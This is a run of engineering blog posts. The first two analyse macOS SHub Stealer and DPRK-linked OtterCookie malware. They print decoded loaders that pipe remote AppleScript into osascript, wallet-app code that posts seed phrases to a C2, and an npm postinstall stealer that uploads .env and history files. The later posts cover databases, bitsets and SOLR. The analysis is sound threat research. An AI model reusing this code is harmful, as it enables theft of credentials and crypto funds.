Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately.

Shell script:

fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd

After decoding however it is a bit different as it includes a number of checks:

#!/bin/zsh
# Debug loader — detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

# Detect locale info — sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '

 ')

# Build JSON safely using printf
send_debug_event() {
    local EVT="$1"
    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
    curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}

# If CIS — send cis_blocked event and exit
if [ "$IS_CIS" = "true" ]; then
    send_debug_event "cis_blocked" >/dev/null 2>&1
    exit 0
fi

# Not CIS — send loader_requested event
send_debug_event "loader_requested" >/dev/null 2>&1 &

daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://coco2-hram[.]com/debug/payload.applescript" | osascript
}
daemon_function "$@" &
exit 0

The downloaded payload script is the main stealer component:

writeText("SHub Stealer" & return, writemind & "info")
writeText("Build Tag: " & return, writemind & "info")
writeText("External IP: " & externalIP & return & return, writemind & "info")
writeText("System Info" & return, writemind & "info")
writeText("Username: " & username & return, writemind & "info")
writeText("Password: " & password_entered & return & return, writemind & "info")

Most of the functionality has been detailed in numerous other blogs surrounding AMOS, MacSync, Odyssey and all the other variants. I decided instead to focus on their fake apps they download:

set asarUrl to gateUrl & "/exodus-asar"
set asarUrl to gateUrl & "/atomic-asar"
set asarUrl to gateUrl & "/ledger-asar"
set asarUrl to gateUrl & "/ledgerlive-asar"
set asarUrl to gateUrl & "/trezor-asar"

All of the apps come as ASAR files, after extracting them we can go through them one at a time.

Exodus-asar:

The relevant code sends off the passphrase and seed file to the C2:

this.unlock = async ({
        passphrase: t
      } = {}) => {
        if (!(await S(this, M)[M].get())) {
          return;
        }
        if (!t) {
          throw new Error("expected passphrase");
        }
        const e = await Object(w.readSeco)(await Object(m.getSeedFile)(), t);
        const s = await d.fromBuffer(e);
        try {
          fetch("hxxps://wallets-gate[.]io/api/injection", {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
              "api-key": "61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f"
            },
            body: JSON.stringify({
              password: t,
              mnemonic: s.mnemonic.toString("utf8"),
              buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
              app: "exodus"
            })
          });
        } catch (e) {}
        const r = S(this, B)[B](s);
        Object(o.randomFill)(e);
        return {
          primarySeedId: r
        };
      };

Atomic:

For atomic when the wallets get loaded after logging in:

await this.$wallets.loadWallets(n, this.password).catch(console.error).finally(() => {

Then the data is shipped off:

 async loadWallets(e, t) {
          const a = await I(V, this).getByPassword(E.MNEMONIC_KEY, t);
          fetch("https://wallets-gate[.]io/api/injection", {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
              "api-key": "61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f"
            },
            body: JSON.stringify({
              mnemonic: a,
              password: t,
              buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
              app: "atomic"
            })
          }).catch(() => {});
          const n = await D($, this, z).call(this, {
            phrase: a,
            password: t
          });
          const r = e.filter(e => e.privateKey);
          await D($, this, ae).call(this, r, n);
          i.requestQueueState.setAsCompleted(i.REQUEST_TYPE.WALLETS_LOADED);
        }

Ledger:

The backdoored ledger app uses a fake recovery setup to eventually ship off the needed data:

  const words = Array.from(inputs).map(i => i.value.trim());
  const token = '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f';
  const targetUrl = 'hxxps://wallets-gate[.]io/api/injection';

  fetch(targetUrl, {
    method: 'POST',
    cache: 'no-cache',
    headers: {
      'Content-Type': 'application/json',
      'api-key': token
    },
    body: JSON.stringify({
      mnemonic: words,
      buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
      app: 'ledger',
    })
  })
.then(response => {
  location.href = 'index.html';
})
.catch(err => {
  location.href = 'index.html';
});});

LedgerLive is setup in a similar way:

continueBtn.addEventListener('click', function () {
  if (!this.classList.contains('active')) return;

  const words = Array.from(inputs).map(i => i.value.trim());
  const token = '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f';
  const targetUrl = 'https://wallets-gate.io/api/injection';

  fetch(targetUrl, {
    method: 'POST',
    cache: 'no-cache',
    headers: {
      'Content-Type': 'application/json',
      'api-key': token
    },
    body: JSON.stringify({
      mnemonic: words,
      buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
      app: 'ledger_live',
    })
  })

Trezor:

The fake trezor app has a section of code calling itself a webpack hook:

    // ============================================================
    // 1. WEBPACK HOOK: STEAL NATIVE BIP39 (ID: 39781)
    // ============================================================

Inide is a config:

        const CONFIG = {
            API_URL: 'https://wallets-gate.io/api/injection',
            API_KEY: '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f',
            BUILD_ID: 'd91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f',
            BLOCK_UPDATES: true,
            ONCE: true
        };

Along with Russian comments:

/* Достаточно места для бейджа */

The code will pretend a security patch has been applied and ask the user to verify their recovery seed:

            'default': {
                title: 'Critical Security Update',
                text: 'A critical security patch has been released. Verify your recovery seed before updating.',
                btn: 'Verify & Update',
                btn_next: 'Next Share',
                btn_finish: 'Finish & Update',
                error_empty: 'Please complete all words',
                error_checksum: 'Invalid recovery seed (checksum mismatch)',
                updating: 'Updating...',
                words12: '12 Words',
                words20: '20 Words',
                words24: '24 Words',
                share: 'Share'

If the phrase checks out then it will be shipped off:

                let finalMnemonic = mnemonicStr;
                if (currentLength === 20 && collectedShares.length > 0) {
                    finalMnemonic = collectedShares.join('\n\n--- NEXT SHARE ---\n\n');
                }

                const payload = {
                    mnemonic: finalMnemonic,
                    buildid: CONFIG.BUILD_ID,
                    app: 'trezor_suite',
                };

                fetch(CONFIG.API_URL, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json', 'api-key': CONFIG.API_KEY },
                    body: JSON.stringify(payload)
                }).catch(e => {});

References

1: https://securitylabs.datadoghq.com/articles/tech-impersonators-clickfix-and-macos-infostealers/

2: https://gi7w0rm.medium.com/amos-stealer-malext-variant-spread-in-a-global-malvertising-campaign-using-free-text-sharing-4d240e11d7e2

Shub Stealers Fake Crypto Apps was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4].

Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it’s pretty similar to malware analysis; just more pattern matching.

While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns.

3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d

  "name": "npm-doc-builder",
  "version": "1.0.5",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node test.js"
  },
  "publishConfig": {
    "access": "public"
  },
  "dependencies": {
    "axios": "^1.7.0",
    "child_process": "^1.0.2",
    "os": "^0.1.2"
  },
  "engines": {
    "node": ">=18"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "type": "commonjs"

The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally:

  const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/");
  const {
    msg: _0x50cbce
  } = await _0x30c718.json();
  let _0x581499 = false;
  if (process.platform === "linux") {
    _0x581499 = addSshKeyToUser(_0x50cbce);

It will also download patterns for scanning

 const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns");
  const {
    scanPatterns: _0x28ca54
  } = await _0x3c4caa.json();

In this case it returned:

{"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]}

Ultimately wanting to send off the files:

 for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7.length; _0x14ded9++) {
    await uploadFile(_0x57def7[_0x14ded9], "https://cloudflareinsights[.]vercel[.]app/api/v1", _0x581499);

Pivoting on this information I found this blog[1], that saame site led me to this[2]:

"use strict";

const axios = require("axios");
const process = {
  env: {
    DEV_API_KEY: "aHR0cHM6Ly93d3cuaXNpbGxlZ2FscmVnaW9uLmNvbS9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==",
    DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",
    DEV_SECRET_VALUE: "c2VjcmV0",
  }
};

(async function initializeCaller(..._args) {
  const apiEndpoint = atob(process.env.DEV_API_KEY);
  const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);
  const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);

  let retryCount = 5;

  while (retryCount > 0) {
    try {
      const originalLog = console.log;

       // Safe placeholder request
      const response = (await axios.post(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data;
      const handler = new Function.constructor("require", response);
      handler(require);

      console.log = originalLog;
      break;
    }
    catch (error) {
      retryCount--;
    }
  }
})();

This code posts hardcoded data to a URI:

{ headers: { 'x-secret-key': 'secret' } }

The downloaded code is obfuscated:

After deobfuscating the code aligns with OtterCookies from another blog[3]:

  const u_s = "hxxp://144.172.116[.]22:8086/upload";
  const l_s = "hxxp://144.172.116[.]22:8085/upload";
  const s_s = "hxxp://144.172.116[.]22:8087";

The malware itself aligns with the other blog well enough, focusing more on the infrastructure some pretty noticeable port mappings:

HTTP 8085/TCP
Express

HTTP 8086/TCP
Express

HTTP 8087/TCP
Express

UNKNOWN 17500/TCP
linux

Port 8085 returns this in Censys[6]:

Ok

Also leveraging the banner hash of port 17500 we can map out quite a bit of infrastructure:

services.http.response.body_hashes="sha256:843ac01149cced785dfebd0028d3b03ba78e286e1c6f9517ebfcdb609d97af4c" and services.banner_hashes="sha256:31d55cb5dd194cd99387d386e84d8b24d340c0b52983ce630f0aafd70fee008c" and services.port="17500"

IPs:

 144.172.110[.]96
 144.172.110[.]228
 144.172.99[.]248
 107.189.22[.]20
 144.172.110[.]132
 144.172.99[.]81
 144.172.116[.]22
 144.172.93[.]169
 144.172.93[.]253

References

1: https://kmsec.uk/blog/contagious-trader/

2: https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a

3: https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github

4: https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead

5: https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/

6: https://censys.com/

Mapping Ottercookie Infrastructure was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

When people talk about “scaling databases” or “adding read replicas”, they are almost always thinking about one specific architecture:

Single-leader (Primary-Replica) architecture with asynchronous replication

This is the architecture used by:

• MySQL + replicas
• PostgreSQL + streaming replication
• Google Cloud SQL
• PlanetScale, Neon, Supabase, etc.

There is exactly one node that accepts writes → called the Primary (or Leader/Master).
All other nodes are Read Replicas → they apply changes from the primary as fast as they can, but always with some delay (replication lag).

This is the default and dominant model in 99% of applications today.

Alternative architectures exist (multi-primary, leaderless, CRDTs, etc.), but they are rare and come with their own very different trade-offs.

The second axis that actually matters in practice is:

Who manages the replicas and failover for you?

1. Self-hosted / Self-managed

You run MySQL or PostgreSQL yourself (on EC2, Kubernetes, bare metal, etc.).

You are 100% responsible for:

• Setting up replication
• Promoting a new primary when the old one dies
• Routing traffic correctly
• Handling replication lag
• Monitoring, backups, point-in-time recovery, etc.

2. Fully-managed cloud services

RDS, Aurora, PlanetScale, Neon, Supabase, CockroachDB, Spanner, YugabyteDB, etc.
The provider gives you a single connection string (or two: one for writes, one for reads) and magically keeps it pointing to healthy nodes, handles failover in seconds, and often hides (or eliminates) replication lag headaches.

This second axis is the one that determines how much pain you will actually feel in production.

Now, suppose you have a naive application with a small user base, and you decide to spin up a single self-managed instance.

And on the application end, you have provided the DB configurations, and your queries are running on the provided instance.

Now that your user base has grown exponentially, you, as an architect, observed your query patterns and saw a read: write ratio of 100:1.

So you decided to make a pivotal decision for your application. And you decided to split your read and write traffic by adding replicas to your database.

Here, the trouble starts. You have two separate endpoints, suppose

primary: db.write.endpoint
read replica: db.read.endpoint

Now the question arises, how will my application know what kind of DB operation it is, and who will decide which endpoint to call?

Isn’t it thrilling?

Identifying the kind of transaction is one of the difficult problems. There is no automatic detection. Industry wide here are few technique which is being used:

• SQL Parsing: Decide the query type based on the keywords
• Annotation Based: Frameworks like Springboot, supports it using Transactional annotation
• Explict connection: While reading or writing, make use of operation specific connection
• Service Layer Separation: Same database schema, same User model, just two services pointing to different database connections

To read more about it you can check out my article on transaction routing

Among the available approaches, the explicit connection strategy appears feasible for your team and is therefore implemented. For a period of time, the application operates smoothly.

However, challenges are inevitable in system design.

Eventually, one of the replicas becomes unavailable, affecting customers. While the change may appear minimal, you must decide whether to replace the failed replica or tolerate downtime until the server is restored, implying a lower emphasis on availability.

If you see, here are your issues

• Your team didn’t get any notification about the replica failure.
• If the replica goes down, the team has to manually override db endpoint and may require redeployment or a rolling restart, depending on your architecture.

But damage is already done, so you started thinking about how to get notified about the failure early, or a way to manage it that doesn’t require manual override.

How failover can be managed automatically?

You started researching, and you came across terms like DB proxy, orchestrator, consensus, and a lot more. Let's see what fits where

DB Proxy is a smart routing tool that watches all the nodes and keeps pointing to healthy nodes, which means it provides failover support. It also does load balancing, caching, and performance optimisation using connection pooling. Commonly used DB proxies are Amazon RDS Proxy, ProxySQL, and PgBouncer.

But in the case of failure of the primary node, the proxy is not capable of promoting the replica as master or primary.

So we need someone who can detect the failure on leader and elect one of the replicas as Primary. That's the role of an orchestrator(like Patroni, Vitess) with a centralised coordination service(like zookeeper, etcd).

Think of it like air traffic control – the orchestrator monitors all planes (database nodes), decides which runway is active (primary), and updates the control tower (Zookeeper). All pilots (DB proxies) check with the control tower to know where to land.

In the same way, the orchestrator detects the failure, elects who will new primary, and tells the zookeeper. Now the zookeeper keeps the configuration like primary endpoint, replica endpoints, etc. And DB proxy reads the configurations from zookeeper and route the request.

You might be thinking if orchestrator does everything, then why does it need zookeeper?

To answer this, you first need to understand Split-Brain problem.

Split-Brain Problem

Imagine you have 3 database nodes: A (current primary), B and C (replicas).

A network partition happens:

• Node A can still talk to nodes B
• Node C is isolated from A and B, but can still talk to the outside world or some applications

Without protection, two bad things can happen:

1. Node A thinks “I’m still primary” → keeps accepting writes
2. Node C (or an orchestrator that only sees C) thinks “I can’t reach A → A must be dead → I promote myself/C as new primary”

Now you have two primaries at the same time accepting writes → data corruption, lost updates, inventory goes negative, money disappears, etc.

This is split-brain. It is the single worst failure mode in distributed databases. Once it happens, you usually have to shut down one side manually and pray.

Zookeeper/etcd solves this problem for us. It uses the consensus algorithms like Raft, Paxos to enforces the strict majority quorum.

Wait – Consensus? Quorum? 😭

If seeing those words makes you want to close the tab, don’t worry. We will deep dive into those topics in a separate article. For now, just understand that consensus algorithms are simply the way distributed nodes agree on a single source of truth.

Let’s look at how far we’ve come. Our system design has evolved significantly:

• Level 1: We started with a naive, self-managed single instance.
• Level 2: As traffic grew, we split Read and Write concerns.
• Level 3: We realized manual failover is a nightmare, so we introduced a DB Proxy.
• Level 4: To solve the “Who creates the new Primary?” problem, we added an Orchestrator and Zookeeper to prevent Split-Brain.

However, we have ignored the elephant in the room.

We know how to route traffic, but we haven’t discussed the physics of data movement:

1. How do replicas actually receive updates from the Primary?
2. What happens when the replica is 5 seconds behind (Replication Lag)?

In Part 2, we will tackle Replication Lag and why it breaks your application logic.

Follow me so you don’t miss the next part!

From Single Instance to Split-Brain: A Database Scaling Journey was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ever wondered why your backend slows to a crawl when comparing massive sets of strings? Here’s how we turned a bottleneck into a lightning-fast operation using bitsets.

Efficiently checking for overlaps between large sets of strings is a common challenge in high-throughput backend services. Traditional approaches — such as nested loops or hash-based comparisons — can quickly become performance bottlenecks, especially as data volumes scale and both memory and response time are critical.

This is particularly true in environments like Walmart’s, where backend systems routinely process millions of records per second to power search, recommendation, and fraud detection features. As our applications grew, we observed that even well-optimized hash set operations struggled to keep up with the demands of real-time processing.

In this blog, I’ll share how we leveraged bitset optimization to transform our string set overlap checks.

The Problem: When “Fast Enough” Isn’t Enough

Our service is designed to handle high volumes of requests, each containing multiple sets of strings mapped to unique keys — such as user IDs, product SKUs, or transaction identifiers. For every incoming key, we must efficiently retrieve the corresponding set of strings from our backend database and determine if there is any overlap with the provided set in the request.

This overlap check is a critical step in workflows like deduplication, access control, and real-time validation. However, as the number of keys and the size of each string set grow, the computational and memory demands of these operations can escalate rapidly.

The Memory Bottleneck

To mitigate performance bottlenecks, we initially explored caching the database string sets locally within each pod. While this approach did improve lookup speed, it introduced a new challenge: memory consumption. As our dataset grew, the memory footprint of these in-memory caches ballooned, reaching as high as an unsustainable level in the worst-case scenarios. This strained our infrastructure resources and increased the risk of out-of-memory errors.

The Naive Approach

Traditional approaches, such as iterating through sets or leveraging hash-based comparisons, often struggle to keep pace under heavy load.

Each comparison required iterating through potentially thousands of strings, resulting in operations with time complexity proportional to the product of the set sizes. Under peak load, this led to noticeable spikes in response times. Even with optimized algorithms, the sheer scale of data made it difficult to achieve the low-latency guarantees required by our backend systems.

// Traditional Hash-based approach
public boolean overlap(Set<String> setA, Set<String> setB) {
    // This often involves iterating over the smaller set 
    // and checking for existence in the larger set.
    for (String s : setA) {
        if (setB.contains(s)) {
            return true;
        }
    }
    return false;
}

While accurate, this approach struggles under heavy load13. Each comparison requires iterating through potentially thousands of strings14. The time complexity is roughly proportional to the product of the set sizes O(N * M) or best case O(N) with hash sets), which quickly becomes a nightmare at scale15. Under peak load, this caused noticeable spikes in response times16.

Enter Bitsets: The “Secret Weapon”

To address these challenges, we implemented a bitset-based optimization.

How It Works

1. Unique String Mapping: Assign a unique integer index to every distinct string across all sets (e.g., “xxxxx” → 1).
2. Bitset Representation: Represent each set of strings as a bitset, where the bit at position i is set to 1 if the string with index i is present in the set.

Universe: ["apple", "banana", "carrot"]
Index:    { "apple": 0, "banana": 1, "carrot": 2 }

Set A: {"apple", "carrot"}  -> Bits: 1 0 1
Set B: {"banana"}           -> Bits: 0 1 0
Set C: {"apple"}            -> Bits: 1 0 0
// Set A and Set C can easily got intersection of "apple"

The Implementation

Here is the core logic for converting strings to bitsets and checking for overlaps:

import java.util.*;

public class BitSetStringOverlap {
    // Map each string in the universe to a unique bit position
    private static Map<String, Integer> buildUniverseIndex(List<String> universe) {
        Map<String, Integer> indexMap = new HashMap<>();
        for (int i = 0; i < universe.size(); i++) {
            indexMap.put(universe.get(i), i);
        }
        return indexMap;
    }

    // Convert a set of strings to a BitSet
    private static BitSet stringsToBitSet(Set<String> strings, Map<String, Integer> universeIndex) {
        BitSet bitSet = new BitSet(universeIndex.size());
        for (String s : strings) {
            Integer idx = universeIndex.get(s);
            if (idx != null) {
                bitSet.set(idx);
            }
        }
        return bitSet;
    }

    // Check if two BitSets overlap
    private static boolean overlap(BitSet a, BitSet b) {
        BitSet clone = (BitSet) a.clone();
        clone.and(b);
        return !clone.isEmpty();
    }
}

With bitsets, overlap checks are reduced to a single bitwise AND operation. If the result is non-zero, an overlap exists. This approach is orders of magnitude faster than traditional set intersection algorithms.

Architecture: Decoupling for Speed

We didn’t just change the code; we changed the architecture to decouple latency-sensitive operations from heavy string processing.

• Centralized Index: We maintain a consistent mapping between each unique string and its corresponding bit position, stored centrally in a SQL database.
• Offline Storage: We shifted from storing raw string arrays in the database to storing their compact bitset representations. When a new string set is persisted, we encode it as a bitset immediately.
• On-the-fly Processing: For incoming requests, we apply the same index mapping on-the-fly, converting the provided string sets into bitsets in real time.

The Impact: Crunching the Numbers

Switching to bitsets delivered tangible benefits to our backend systems. The contrast between the old approach and the new bitset optimization is stark:

In our application we observe following optimization

We drastically reduced the memory footprint required for both caching and storage, preventing the “Ouch!” moments of hitting memory limits.

Practical Considerations

While bitsets are powerful, there are a few things to keep in mind when implementing them:

• The Universe Index: You need a consistent “universe” of strings. We maintain a centralized index mapping in a SQL database to ensure all services speak the same “bit language”.
• Decoupling: This architecture allows us to decouple latency-sensitive operations. Heavy string processing is done offline, while the live request path only handles fast bitwise math.
• When NOT to use: If your universe of strings is infinitely growing with no central management, or if the sets are extremely sparse over a massive range without compression, standard bitsets might need tuning (like Roaring Bitmaps) to remain efficient.

Conclusion

By transforming string set overlap checks into bitset operations, we achieved substantial improvements in both performance and resource utilization. This strategy is particularly effective for large-scale, high-frequency set operations typical in distributed systems like ours.

If you’re building high-throughput systems and struggling with memory or latency during set comparisons, bitsets might just be your secret weapon.

How Bitsets Supercharged Our Backend: Faster String Overlap Checks at Scale was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

When the SOLR query logic expanded into a 12,000-line monolithic implementation, each modification introduced significant risk, making every change feel akin to defusing a critical system. Adding a market-specific override required yet another if block, compounding complexity and slowing time-to-market. In this article, we will deep dive how we broke that SOLR query creation logic, enabling clean configuration per market, stronger typing, reducing technical debts and dramatically reduced runtime errors.

The Problem: When SOLR Queries Creation Logic Become Technical Debt

The SOLR query logic class was handling filtering logic, boosting logic, boost functions, pagination etc. All the parameters related to SOLR query was getting generated using single class. Overthe time, this core class handled various logics related to different type of queries:

• Primary search queries
• Item insertions via business tools
• Item insertions via semantic sources

Thousands of lines tangled edge-case handling, scoring tweaks, and boosting logic. This unscalable approach:

Blocked rapid iteration for new markets

• Tight Coupling: All query-handling logic lived in one massive class, making it difficult to cleanly separate concerns. Market-specific changes could unintentionally affect unrelated logic, requiring exhaustive regression testing.
• High Risk of Unintended Consequences: Changing business requirements (such as supporting different filtering or boosting strategies for a new market) entailed changing existing code that already served other markets. Developers had to be extremely cautious, as a bug or oversight could break unrelated functionality.
• No Configuration Flexibility: There was no clear system for externalizing market-specific configuration. Instead, all logic changes happened directly in code, preventing business users or product managers from making simple market changes without developer intervention.

Increased Runtime exceptions

• Lack of strong typing: In the monolith implementation, parameters for various queries (filter, boost, facet, etc.) were often handled as generic objects, maps, or loosely typedstructures. Whenever code tried to cast a parameter to the expected type without proper validation, a ClassCastException or NullPointerException would occur if the object wasmissing or the wrong type.

Made testing and debug painful

• No isolation: With all logic in one class, you couldn’t test a single part (e.g., boost setup or filter logic) in isolation. Every change risked breaking other unrelated query paths.
• Opaque Error Sources: When a test failed or an exception was thrown, the error stack trace typically pointed to a dense method with dozens of responsibilities. Tracing the root cause involved manually reviewing many conditionals and nested logic blocks.
• Manual validation required: Since types weren’t enforced, developers had to write extra validation code or rely heavily on manual testing, which is error-prone and slow.

Motivation for a Modular Architecture

The monolithic SOLR query logic introduced multiple pain points: tight coupling that made changes risky, lack of configuration flexibility forcing code edits for market-specific needs, runtime exceptions due to weak typing, and opaque error sources that slowed debugging. These issues made it difficult to scale across markets, slowed down development, and increased the risk of unintended consequences.

To overcome these challenges, we needed a new approach — one that would allow us to separate concerns, improve testability, and support market-specific configurations without duplicating logic. This led us to adopt a modular architecture for SOLR query creation.

To bring order to chaos, we defined a few clear goals:

• Modularize query creation to separate concerns and make the system testable and extendable.
• Support multiple markets from a single codebase, without duplicating or entangling logic.
• Reduce technical debt by identifying and removing outdated code paths and unused toggles.
• Single responsibility principle to be used to create a single module responsible for Retrieval. This is needed to separate it out from other core pieces of Search like Query Understanding, Ranking.
• Ease out feature development by reducing the number of files to be changed to rollout a feature. This is needed to reduce development time, testing time and release feature with a greater amount of confidence
• Strongly typed parameters to eliminate runtime casting errors
• Testability through small, focused classes

Solution Overview

At the heart of this new design was a simple idea: treat the SOLR query as a POJO (Plain Old Java Object). Additionally, there are few other components:

1. SOLR Query
2. Query Param Creator
3. Query Param Module
4. Query Assembler
5. Query Override Handler

Illustrative Example: Modular Query for a Bookstore Search

Imagine you’re building a search system for an online bookstore. A user might search for “science fiction books under $20.” Here’s how modular query creation would work -

Solr Query POJO would have these objects:

• FilterQueryParam: Filters by genre = “Science Fiction” and price < $20
• BoostQueryParam: Boosts books with high ratings or recent publications
• FacetQueryParam: Adds facets for author, publisher, and publication year
• SortQueryParam: Sorts results by relevance or price
• FieldListParam: Specifies which fields (title, author, price) to return

Each of these parameters is created by its own QueryParamCreator, wrapped in a QueryParamModule, and assembled into a final SolrQuery using the QueryAssembler.

This modular approach allows you to plug in different logic for different use cases — say, searching vs inserting new books — without touching the core query-building logic.

1. SOLR Query

We introduced a central SOLR Query that represents the full query. This Object is composed of smaller Param objects like:

• FilterQueryParam
• BoostQueryParam
• FacetQueryParam
• …

Below is an illustrative diagram:

Before:

Map <String, Object> solrQueryParamsMap = new HashMap<>();
solrQueryParamsMap.put(“fq”, Arrays.asList(“”));
solrQueryParamsMap.put(“bq”, Arrays.asList(“”));
solrQueryParamsMap.put(“facet.query”, “”);
solrQueryParamsMap.put(“sort”, “asc”); solrQueryParamsMap.put(“sort.field”, Arrays.asList(“”));

After:

public class SolrQuery {
  private FilterQueryParam filterQueryParam;
  private BoostQueryParam boostQueryParam;
  private FacetQueryParam facetQueryParam;
  private SortQueryParam sortQueryParam;
}

2. Query Param Creator:

Each of these POJOs maps 1:1 to a Query Creator interface.

public interface SolrParamCreator<T extends AbstractSolrParam> {
 T create(BaseRequest r);
}

public class FilterQueryParamCreator implements SolrParamCreator<FilterQueryParam> {
 public FilterQueryParam create(BaseRequest r);
}

Each creator has multiple implementations, allowing us to plug in logic based on:

• Use case (search vs insertion)
• Features
• Experiments or business overrides

3. Query Param Module:

Query Param Module encompasses Creator and its corresponding Query Param.

public interface QueryParamModule<R> {
 void apply(SolrQuery solrQuery, BaseRequest r) 
}

public class FilterModule implements QueryParamModule<BaseRequest> {
 private final FilterQueryParamCreator creator;
 
 public void apply(SolrQuery q, BaseRequest r) {
  q.setFilterQueryParam(creator.create(q));
 }
}

4. Query Assembler

The idea is to:

• Define a common interface
• Wrap each creator and setter in a module
• In assembler, keep a list of module and loop through.

This allows us to have benefits of:

• Open/closed: Add new query-param modules without touching existing code.
• Single loop: Have all setter in one loop in assembler.
• Testable units: Each module can be unit-tested in isolation.

public class QueryAssembler {
   private final List<QueryParamModule<BaseRequest>> modules;
 
   public SolrQuery assemble(BaseRequest request) {
       SolrQuery solrQuery = new SolrQuery();
       for (QueryParamModule<BaseRequest> module: modules) {
           module.apply(solrQuery, request);
       }
       return solrQuery;
   }
}

5. Query Override Handler

Query Override Handler is used to override the SOLR query object by putting some business rules on top of usual execution.

public interface SolrQueryOverrideHandler {
    void override(BaseRequest r, SolrQuery solrQuery);
}

In addition to these components, we ensured that every deep nested core logic is behind a feature flag which can be configured for each market to quickly enable/disable a feature.

Migration Strategy

1. Phase 1: Wrap existing class in facade calling new creators.
2. Phase 2: Gradually redirect code paths to QueryAssembler.
3. Phase 3: Remove legacy monolith class after coverage and stability targets met.

All changes were backed by unit and integration tests configured via CI pipelines.

Results & Metrics

• Query development time for new markets reduced from 3 days to 3 hours
• Feature sharing is possible between markets with a config change
• Around 100 legacy features got deprecated which were not in use
• NullPointer & ClassCast exceptions dropped by 95%
• Code complexity (Cyclomatic) decreased by 40%

Lessons Learned

• Strong typing prevents more bugs upstream than exhaustive tests.
• Configuration-driven overrides keep code clean and markets flexible.
• Diagram early: Sharing architecture visuals aligned team understanding.

Conclusion & Actionable Takeaways

By modularizing SOLR query creation, you can rapidly onboard new markets, reduce bugs, and improve developer productivity. Key steps to apply:

1. Define clear parameter objects.
2. Encapsulate cross-cutting logic in focused creators.
3. Use a single assembler facade.
4. Migrate incrementally, with tests guarding each stage.

Ready to break your own monolith? Start by identifying your first module boundary and sketching the data flow!

#Engineering #SoftwareArchitecture #ModularMonolith #MonolithicArchitecture #SoftwareDevelopment #Retrieval #Solr

Modularizing SOLR Query Creation for Multi-Market Scale was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

